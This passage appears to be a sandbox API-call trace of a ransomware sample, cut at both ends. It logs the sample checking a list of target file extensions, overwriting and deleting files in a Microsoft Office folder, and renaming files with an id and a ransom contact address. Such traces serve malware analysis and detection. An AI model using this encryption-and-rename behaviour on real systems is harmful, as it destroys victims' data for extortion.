lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0264.145] SetEndOfFile (hFile=0x388) returned 1 [0264.145] CloseHandle (hObject=0x388) returned 1 [0264.145] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.145] SetEndOfFile (hFile=0x360) returned 1 [0264.147] CloseHandle (hObject=0x360) returned 1 [0264.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 1 [0264.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.150] lstrlenW (lpString=".doc") returned 4 [0264.150] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.150] lstrlenW (lpString=".docx") returned 5 [0264.150] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0264.150] lstrlenW (lpString=".pdf") returned 4 [0264.150] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.150] lstrlenW (lpString=".xls") returned 4 [0264.150] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.150] lstrlenW (lpString=".xlsx") returned 5 [0264.150] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0264.151] lstrlenW (lpString=".ppt") returned 4 [0264.151] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString=".zip") returned 4 [0264.151] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString=".rar") returned 4 [0264.151] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString=".bz2") returned 4 [0264.151] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.151] lstrlenW (lpString=".7z") returned 3 [0264.151] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString=".dbf") returned 4 [0264.151] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString=".1cd") returned 4 [0264.151] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString=".jpg") returned 4 [0264.151] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.151] lstrlenW (lpString=".doc") returned 4 [0264.151] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString=".docx") returned 5 [0264.151] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0264.151] lstrlenW (lpString=".pdf") returned 4 [0264.151] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString=".xls") returned 4 [0264.151] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.151] lstrlenW (lpString=".xlsx") returned 5 [0264.151] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0264.151] lstrlenW (lpString=".ppt") returned 4 [0264.151] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.152] lstrlenW (lpString=".zip") returned 4 [0264.152] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.152] lstrlenW (lpString=".rar") returned 4 [0264.152] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.152] lstrlenW (lpString=".bz2") returned 4 [0264.152] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.152] lstrlenW (lpString=".7z") returned 3 [0264.152] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.152] lstrlenW (lpString=".dbf") returned 4 [0264.152] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.152] lstrlenW (lpString=".1cd") returned 4 [0264.152] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0264.152] lstrlenW (lpString=".jpg") returned 4 [0264.152] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.152] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0264.152] lstrlenW (lpString="GANTT.DLL") returned 9 [0264.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.177] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1561448) returned 1 [0264.177] CloseHandle (hObject=0x3d8) returned 1 [0264.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll")) returned 0x20 [0264.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.177] lstrlenW (lpString=".doc") returned 4 [0264.177] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.177] lstrlenW (lpString=".docx") returned 5 [0264.177] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0264.177] lstrlenW (lpString=".pdf") returned 4 [0264.177] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.177] lstrlenW (lpString=".xls") returned 4 [0264.177] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.177] lstrlenW (lpString=".xlsx") returned 5 [0264.177] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0264.177] lstrlenW (lpString=".ppt") returned 4 [0264.178] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".zip") returned 4 [0264.178] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".rar") returned 4 [0264.178] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".bz2") returned 4 [0264.178] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.178] lstrlenW (lpString=".7z") returned 3 [0264.178] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".dbf") returned 4 [0264.178] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".1cd") returned 4 [0264.178] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".jpg") returned 4 [0264.178] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".doc") returned 4 [0264.178] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".docx") returned 5 [0264.178] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0264.178] lstrlenW (lpString=".pdf") returned 4 [0264.178] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".xls") returned 4 [0264.178] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".xlsx") returned 5 [0264.178] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0264.178] lstrlenW (lpString=".ppt") returned 4 [0264.178] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.178] lstrlenW (lpString=".zip") returned 4 [0264.178] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.178] lstrlenW (lpString=".rar") returned 4 [0264.178] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.179] lstrlenW (lpString=".bz2") returned 4 [0264.179] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.179] lstrlenW (lpString=".7z") returned 3 [0264.179] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.179] lstrlenW (lpString=".dbf") returned 4 [0264.179] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.179] lstrlenW (lpString=".1cd") returned 4 [0264.179] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL") returned 52 [0264.179] lstrlenW (lpString=".jpg") returned 4 [0264.179] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.179] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0264.179] lstrlenW (lpString="GKExcel.dll") returned 11 [0264.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.181] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=4563328) returned 1 [0264.181] CloseHandle (hObject=0x3d8) returned 1 [0264.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll")) returned 0x20 [0264.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.182] lstrlenW (lpString=".doc") returned 4 [0264.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString=".docx") returned 5 [0264.182] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0264.182] lstrlenW (lpString=".pdf") returned 4 [0264.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString=".xls") returned 4 [0264.182] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString=".xlsx") returned 5 [0264.182] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0264.182] lstrlenW (lpString=".ppt") returned 4 [0264.182] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.182] lstrlenW (lpString=".zip") returned 4 [0264.182] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString=".rar") returned 4 [0264.182] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.182] lstrlenW (lpString=".bz2") returned 4 [0264.182] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.182] lstrlenW (lpString=".7z") returned 3 [0264.182] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.182] lstrlenW (lpString=".dbf") returned 4 [0264.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.182] lstrlenW (lpString=".1cd") returned 4 [0264.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".jpg") returned 4 [0264.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".doc") returned 4 [0264.183] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString=".docx") returned 5 [0264.183] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0264.183] lstrlenW (lpString=".pdf") returned 4 [0264.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString=".xls") returned 4 [0264.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString=".xlsx") returned 5 [0264.183] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0264.183] lstrlenW (lpString=".ppt") returned 4 [0264.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".zip") returned 4 [0264.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString=".rar") returned 4 [0264.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.183] lstrlenW (lpString=".bz2") returned 4 [0264.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.183] lstrlenW (lpString=".7z") returned 3 [0264.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".dbf") returned 4 [0264.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".1cd") returned 4 [0264.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll") returned 54 [0264.183] lstrlenW (lpString=".jpg") returned 4 [0264.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.184] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0264.184] lstrlenW (lpString="GKPowerPoint.dll") returned 16 [0264.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.184] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2780032) returned 1 [0264.184] CloseHandle (hObject=0x3d8) returned 1 [0264.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll")) returned 0x20 [0264.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString=".doc") returned 4 [0264.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString=".docx") returned 5 [0264.185] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0264.185] lstrlenW (lpString=".pdf") returned 4 [0264.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString=".xls") returned 4 [0264.185] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString=".xlsx") returned 5 [0264.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0264.185] lstrlenW (lpString=".ppt") returned 4 [0264.185] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString=".zip") returned 4 [0264.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString=".rar") returned 4 [0264.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString=".bz2") returned 4 [0264.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.185] lstrlenW (lpString=".7z") returned 3 [0264.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString=".dbf") returned 4 [0264.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString=".1cd") returned 4 [0264.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.185] lstrlenW (lpString=".jpg") returned 4 [0264.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString=".doc") returned 4 [0264.186] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString=".docx") returned 5 [0264.186] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0264.186] lstrlenW (lpString=".pdf") returned 4 [0264.186] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString=".xls") returned 4 [0264.186] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString=".xlsx") returned 5 [0264.186] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0264.186] lstrlenW (lpString=".ppt") returned 4 [0264.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString=".zip") returned 4 [0264.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString=".rar") returned 4 [0264.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.186] lstrlenW (lpString=".bz2") returned 4 [0264.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.186] lstrlenW (lpString=".7z") returned 3 [0264.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString=".dbf") returned 4 [0264.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString=".1cd") returned 4 [0264.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll") returned 59 [0264.186] lstrlenW (lpString=".jpg") returned 4 [0264.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.186] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0264.186] lstrlenW (lpString="GKWord.dll") returned 10 [0264.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.188] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3114368) returned 1 [0264.188] CloseHandle (hObject=0x3d8) returned 1 [0264.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll")) returned 0x20 [0264.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0264.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.188] lstrlenW (lpString=".doc") returned 4 [0264.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.188] lstrlenW (lpString=".docx") returned 5 [0264.188] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0264.188] lstrlenW (lpString=".pdf") returned 4 [0264.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.188] lstrlenW (lpString=".xls") returned 4 [0264.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.188] lstrlenW (lpString=".xlsx") returned 5 [0264.188] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0264.188] lstrlenW (lpString=".ppt") returned 4 [0264.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.188] lstrlenW (lpString=".zip") returned 4 [0264.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".rar") returned 4 [0264.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".bz2") returned 4 [0264.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.189] lstrlenW (lpString=".7z") returned 3 [0264.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString=".dbf") returned 4 [0264.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString=".1cd") returned 4 [0264.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString=".jpg") returned 4 [0264.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll") returned 53 [0264.189] lstrlenW (lpString=".doc") returned 4 [0264.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".docx") returned 5 [0264.189] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0264.189] lstrlenW (lpString=".pdf") returned 4 [0264.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".xls") returned 4 [0264.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.189] lstrlenW (lpString=".xlsx") returned 5 [0264.189] lstrcmpiW (lpString1=".xlsx", 